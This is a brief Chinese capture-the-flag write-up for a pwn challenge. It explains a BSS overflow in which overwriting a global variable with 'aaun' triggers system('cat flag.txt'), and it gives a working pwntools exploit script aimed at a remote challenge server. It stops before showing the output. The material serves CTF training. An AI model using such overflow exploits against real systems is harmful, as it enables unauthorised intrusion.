题目描述
pwn!,segment fault!菜鸡陷入了深思
Solution
首先分析文件信息:
这是一个 ELF64 文件,没有金丝雀,不是位置无关程序,但开启了栈不可执行。运行程序,输入一个字符串后退出。我们把它拖入 IDA 分析。
main()
函数的流程很简单, 只要全局变量global_var2
的值等于"aaun"
(小端),我们就执行system("cat flag.txt")
函数。
这次是 BSS Section 的溢出,我们由图可知,read()
读取了 16 个字符,而global_var1
只要大于 4 个字节就会覆盖到global_var2
的地址。
我们编写 Python 脚本:
from pwn import *
#conn = process('./009')
conn = remote('111.200.241.244', 63930)
payload = b'A' * 4 + b'aaun'
conn.recvuntil("bof\n")
conn.sendline(payload)
conn.interactive()
运行结果如下: